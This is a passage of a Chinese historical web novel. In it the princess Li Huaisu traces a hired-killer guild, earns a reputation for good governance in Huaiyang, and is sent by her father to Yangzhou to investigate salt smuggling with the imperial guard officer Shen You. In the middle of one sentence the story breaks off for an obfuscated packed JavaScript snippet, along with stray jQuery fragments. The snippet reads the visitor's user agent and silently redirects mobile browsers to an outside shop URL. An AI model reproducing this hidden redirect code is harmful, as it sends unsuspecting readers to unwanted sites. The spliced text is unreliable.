雨势渐收,夜色降临,棚内烛光摇曳。
李怀素站在其中,她望着外头逐渐停歇的雨幕,水珠一滴一滴地落下。
她伸出手来,接住雨滴,陷入沉思中。
如今心中悬了许久的石头,总算是落地,也不枉费此行。
三日后。
淮阳王府。
府内静悄悄的,环境清幽静谧,亭台楼阁高低错落,长廊曲折,沿着池塘而建,待到尽头处,则是由太湖石堆叠的凉亭,池水清澈见底,而今已是夏日,满池的荷花盛开,竟有种曲院风荷的别样意趣。
李怀素沐浴更衣,她换了一身素色的褙子,发髻用玉簪挽住,便来到书房里。
她坐在桌案前,看着程解送来的商水县历年卷宗。
昏黄的烛光照在她的脸上,衬得她眉眼柔和。
廊下传来一阵脚步声,弗玉推门走进来,她端着茶水放在桌案上,随即推开窗户,清风吹过,带来一股淡淡的荷花清香。
“殿下,昭儿在外头候着,有事禀报。”弗玉倒了一杯茶水,轻声道。
李怀素抬眸,她拿起茶水抿了一口,语气淡淡道:“让她进来。”
不出片刻,昭儿疾步走进书房。
“殿下,奴婢已经查到令牌的来历。”她垂头,语气恭敬道。
李怀素点头,示意昭儿继续讲。
“此令牌出自一个叫万佛楼的江湖组织,专替雇主杀人刺探,行事极为隐秘,据说其背后与朝中贵人有染,否则不可能在短短几年内迅速壮大,且在各地官府的追捕下安然无恙这么多年。”昭儿答道。
李怀素放下毛笔,她眉头轻拧。
万佛楼……
她似乎有所耳闻。
“如此说来,那日竹林的刺客,以及刘嬷嬷的死,都是万佛楼的手笔?”李怀素思索道。
“奴婢亦有此猜测,竹林的那拨刺客并非是要取人性命,像是故意要拖住我们似的,或许他们真正的目的是刘嬷嬷。”昭儿道。
李怀素点了点头,她觉得昭儿所言颇有道理,刺客虽然来势汹汹,但她们很快就杀出重围,随后迅速追赶,就像是故意为之,将她逼到竹林深处,又放任她离去。
对了。
李怀素神色凝重,她像是忽然想起了什么。
那日她还在竹林中碰见张月卿,此人先前茶棚中匆匆一瞥,随即又无缘无故出现在竹林中,实在是可疑。
李怀素沉默良久。
弗玉开口道:“殿下,江湖上能养得起这等杀手的组织,背后没有朝中权势撑腰,不可能成气候。”
李怀素想起她赶到寿春城时,刘嬷嬷已经气息奄奄。
她认出李怀素,拼尽最后的力气吐出四个字千万小心,话还未说完,便再无气息。
思及此处,李怀素叹了一声。
她犹觉前方迷雾笼罩,刘嬷嬷生前提醒她要千万小心,小心何人?
她百思不得其解。
“殿下,怎地了?”昭儿见李怀素神色郁郁,关切道。
李怀素涩声道:“弗玉,昭儿,你们说刘嬷嬷说的那句千万小心,究竟是在提醒我什么,是小心追杀她的人,还是小心她本要告知我的那个人?”
弗玉沉吟片刻,思索道:“殿下,刘嬷嬷曾是先皇后娘娘身边最亲近之人,当年之事发生后,第二日刘嬷嬷就离宫,她走得如此着急,定然知晓什么,如今那些人杀她灭口,正是怕她把真相说出来。”
刘嬷嬷临终前想说的名字,到底是谁?
李怀素思忖片刻,她脸色沉了下来,语气淡淡道:“去查,查清万佛楼的底细,以及与朝中官员的往来,查不到幕后主使,也要查到刘嬷嬷从前在宫中的故交旧识,总有人知道些什么。”
“是。”昭儿顿了顿,有些迟疑道,“殿下,周元清那些人……”
李怀素眸光微沉,勾起唇角道:“自然是时候收拾了。”
-
转眼间过去半个月,李怀素在商水县安顿下来,亲事农桑。
夏日炎热,她戴着斗笠,下田插秧,裤腿满是污泥,她没有在意,动作从生涩变得熟练起来。
农户们见李怀素丝毫没有皇亲国戚的架子,自然开始亲近起来,农妇见她满头大汗,便递来凉茶消暑。
李怀素笑着道谢,接过来一饮而尽,令农妇受宠若惊,连连赞叹李怀素平易近人,与民同居。
在此后几日,田埂上前来送吃食络绎不绝,李怀素不好拒绝,从农户口中得到很多见闻,过去商水县大旱,村中的里正趁机克扣赈粮,是程解出面,他狠狠地教训了里正,将赈粮如数发放下去。
李怀素默默记在心中,她暗中走访商水县,见到很多人依旧填不饱肚子,为生计东奔西走,便亲手翻开淮宁府的粮仓,期间抓住管仓的小吏,见其眼神闪烁,便当场扣下,当众交给周元清处置。
小吏神色慌乱,他不停地求饶,甚至向李怀素言明,他是受了司户参军的命令,所以才一时糊涂,往后再也不敢等等话语。
在众目睽睽之下,周元清就算是有心包庇,也已经来不及,顿感有苦说不出。
事到如今,周元清骑虎难下,他只好立即下令将小吏重打三十大板,至于司户参军所作为所为证据确凿,押入牢狱候审。
李怀素见司户参军一职不可或缺,她便向周元清提议由程解暂代司户参军一职,待案情明朗,再为程解请旨,待文书下达,如此一来,便可名正言顺。
周元清自然不愿,又不好拂了李怀素的面子,只好同意。
程解将这些看在眼里,他目光微动,作揖道:“微臣从前以为殿下贵为天潢贵胄,来商水县不过是走个过场,如今看来,是微臣以小人之心度君子之腹,还请殿下恕罪。”
李怀素但笑不语,她这段时日将自己弄得满身泥泞,为的就是这一刻,让程解看见她不是高高在上的天潢贵胄,而是愿意和他站在同一片泥地里的人。
贤名如风,从商水县传遍整个淮宁府,最终抵达汴京。
皇帝在垂拱殿批折子,他目光落在一封从淮阳递来的奏折上,上头记录李怀素自来到淮阳,礼贤下士,亲事农桑,惩治贪官,开仓放粮,当地百姓跪地呼青天。
他放下密折,揉了揉眉心,正出神时,内侍来报:“官家,卢相公求见。”
“请他进来。”皇帝不咸不淡道。
少顷,卢弘济进殿行礼,他身着常服,步伐稳健不像是年过六旬的人。
皇帝抬头,吩咐内侍给卢弘济搬张椅子过来。
卢弘济向皇帝道谢后便坐下,他开门见山,不紧不慢道:“官家,臣听闻扬州府私盐泛滥,盐税流失过半,长此以往恐影响国库入项,臣以为需派人前往彻查。”
“此事朕已从扬州知州奏疏中得知。”皇帝神色凝重道。
“不知官家可想好让何人前往?”卢弘济问。
“尚未,卿有何高见?”皇帝微笑道。
卢弘济答道:“齐王殿下已年满十五,此前治理黄河水患颇有建树,若能去扬州历练一番,日后也好为官家分忧。”
皇帝眸光一暗,他沉默片刻,目光落在淮阳的奏折上。
齐王李怀昱是他最喜爱的儿子,淑妃温婉,齐王聪慧孝顺,办事稳妥,愈发有储君的风范。
可齐王背后是卢家……
如今卢弘济权倾朝野,卢家子弟占据要职,若齐王日后登基,这个天下到底是姓李还是卢?
八年前张家的事犹在眼前,皇帝不可能眼睁睁看着卢家再出一个权倾天下的外戚。
“卿所言有理。”皇帝慢悠悠道,“不过朕已属意旁的人选。”
卢弘济神色不变,问道:“官家属意何人?”
“淮阳王。”皇帝端起茶盏抿了一口,笑道,“卿有所不知,朕这个女儿在淮阳做得不错,开仓放粮,整顿吏治,亲事农桑,贤名都传到汴京来了,此番正好让她去扬州查案,也算物尽其用。”
殿内安静一瞬。
香炉里熏着龙涎香,袅袅地散开来。
卢弘济劝道:“淮阳王虽亲王之尊,但毕竟年轻,又是女子……”
“女子又如何?”皇帝出言打断,笑道,“朕的女儿,朕信得过,况且朕会派皇城司副使沈宥一同前往,遇事商议着办,卿不必忧心。”
卢弘济深知已成定局,他不再多言,便站起身来,拱手道:“官家圣明,臣遵旨。”
他退出垂拱殿,站在石阶上,脸色沉了下来。
-
圣旨到达淮阳,李怀素拆开来,是皇帝御笔亲书。
弗玉打量着她的脸色,问道:“殿下,官家怎么说?”
“父皇让我去扬州查私盐。”李怀素放下圣旨,勾起唇角道,“父皇这是忌惮卢家呢,所以拿我当刀使,又不放心我,便派了个皇城司副使跟着,明面上辅佐,实际则是监视。”
弗玉神色凝重,问道:“那殿下去还是不去?”
“当然要去。”李怀素站起来走到窗前,她背对着弗玉,语气平静道:“父皇既然递了刀,我接着便是,至于这把刀最后刺向谁,那就由不得父皇了。”
“那殿下此番前往扬州岂不是危险重重。”弗玉担忧道。
“危险也要去。”李怀素道,“去请程解过来。”
“是。”弗玉颔首。
天色渐暗,程解姗姗来迟,他如今是淮宁府司户参军,文书已经下达。
他头戴幞头,身着绿色常服,整个人瞧着一丝不苟,眉宇间透着刚正不阿。
“微臣参见殿下。”程解进门行礼,腰背挺得笔直。
“不必多礼。”李怀素起身,将圣旨递给他。
程解伸手接过,他皱眉,思索道:“殿下,扬州私盐岸恐怕不简单,微臣从前在大理寺曾听闻扬州私盐贩子之所以如此嚣张,是朝中有靠山,否则不可能盐税流失过半,至今仍能逍遥法外,那些商贩出手向来阔绰,经过上下打点,衙门睁一只眼闭一只眼也未尝不可啊。”
“本王知道。”李怀素坐下来,颦眉道,“所以本王离开期间,淮阳政务照常,粮食入库不能耽搁,各县里正每月一报,雷打不动,就要麻烦你辛苦多盯着些。”
“微臣领命,请殿下放心。”程解作揖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720287|208608||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道。
李怀素顿了顿,继续道:“另外,本王最近收到密信,有人在淮阳暗中活动,不知在打探什么,你替本王留心,若发觉可疑之人,切莫打草惊蛇。”
程解颔首道:“殿下放心,微臣定当竭力。”
李怀素看着他端正的面容,唤道:“程知礼。”
程解一愣,抬眸看她。
李怀素弯起唇角道:“有你在淮阳,本王很安心。”
程解耳根微红,他低头,嗓音有些不稳道:“殿下谬赞了,微臣绝不负殿下所托。”
-
李怀素和昭儿乘船南下,从淮阳到扬州走水路最为便捷,混在往来的商船里毫不起眼,越往南天气越炎热,河道渐宽,往来船只越来越多。
昭儿笑道:“殿下,扬州的船可真多。”
李怀素没有抬头,她随口应道:“扬州南北货物汇聚于此,自然繁华,不过繁华底下藏着的污糟也多,我们来就是要把那些污糟翻出来,重见天日。”
走了半个月,终于在扬州城外的码头靠岸。
夏日炎热,河面波光粼粼,垂柳依依,蝉鸣聒噪不休。
昭儿提着行李下船,她额头沁出一层细汗。
李怀素压了压斗笠檐,她目光望向不远处的扬州城墙,城门处人潮如织,商贩的吆喝,车马的轱辘,行人的谈笑混在一处,周遭弥漫着粘稠的气息。
此处就是扬州了,天下最富庶之地,也是私盐贩子最猖獗之处。
皇城司副使沈宥比李怀素晚到半日。
李怀素正在驿馆,昭儿前来禀报,闻言抬头,正好看见一个高大的身影从门口走进来。
来人身着玄色圆领官袍,他头戴幞头,步履沉稳,脊背挺直,浑身透着沉稳的气质。
日头西斜,他在院中站定,目光越过庭院,朝李怀素的方向望过来。
二人视线碰撞到一处。
李怀素认出他来,她目光微动,感到有些意外。
原来他就是皇城司副使沈宥。
去岁春日,金明池畔举办马球赛。
一众皇亲国戚坐在看台上,不料刺客忽然出现,侍卫们当即拔刀,现场乱作一团。
李怀素连忙起身,谁知一道黑影直扑她所在的方向,袖中寒光一闪。
下一刻横刀从斜刺里伸出,架住刺客剑锋,火花四溅,另一只手扣住刺客手,刺客跪地惨叫。
那人抬头,日光下眉峰如剑,鼻梁高挺,眸子黑沉沉透着锐利的光。
李怀素思绪逐渐回笼,她目光扫向沈宥。
沈宥是沈家嫡长子,他十六岁入皇城司,二十二岁升副使,是汴京炙手可热的人物之一。
此时他神色平静,站在她面前,拱手道:“臣沈宥奉旨前来扬州,听候殿下差遣。”
李怀素抽回目光,她弯起唇角,缓缓地走下台阶。
“沈副使,许久不见。”她含笑道,“本王还要多谢你当日的救命之恩,若非你及时相救,本王怕是早就成了刺客的刀下亡魂了。”
沈宥微怔,他垂下眼帘,语气恭敬道:“殿下谬赞,这是臣的职责,您无需言谢。”
李怀素微微一笑,她坐了下来,叫昭儿给沈宥上茶。
她抿了一口茶水,不紧不慢道:“沈副使想必知晓此番差事,私盐一案牵连不小,扬州盐运使连上九道折子弹劾私盐贩子猖獗,弹劾了半年,贩子非但没少反而越闹越凶,里头若是没有内鬼,本王是不信的。”
沈宥神色定了定,他点头,从袖中取出册子放在案上,答道:“臣来之前翻阅卷宗,扬州盐运使孙炳文永昌四年到任,此前在转运司做了六年判官,履历上看是个老吏,他折中点名的七个私盐贩子里,三个已在卷宗上记了已缉拿,但臣托人打听过,这三个所谓已缉拿的大头目如今还在扬州城里逍遥快活,有人瞧见他们前日还在茶楼里听戏。”
“此人的话不能全信。”李怀素眸光微沉,笑道。
沈宥掀起眼帘,有些迟疑道:“殿下的意思是……”
“先不暴露身份。”李怀素搁下茶盏,继续道,“你我扮作寻常客商在扬州走一走,听听市井说法,私盐贩子做到这么大不可能半点风声不漏,百姓闲话有时比卷宗实在,扬州城的茶馆,码头以及酒楼,都是消息集散之地。”
沈宥略一思索,他没有异议,点头道:“臣听殿下安排。”
他说话时神色端正,没有半点敷衍。
皇城司的人大多眼高于顶,仗着皇帝近卫连朝臣都不放在眼里,沈宥腰背挺直,目光平视,没有丝毫的谄媚,自然也不倨傲,浑身透着肃然寒气。
李怀素站起来,她缓缓地走到他面前,笑道:“沈副使,你不必拘束,父皇派你来辅佐本王查案,不是来给本王当下属使唤的,遇事商量着办,你有主意尽管提,本王不是听不进劝的人。”
沈宥察觉到李怀素的靠近,他闻到一股淡淡的馨香,吓得连忙后退几步,耳后根隐隐发烫。
他喉结上下滚动,低声道:“臣遵命。”
李怀素颔首,她转过身去,下一瞬她敛起笑容,眼底闪过一丝冷意。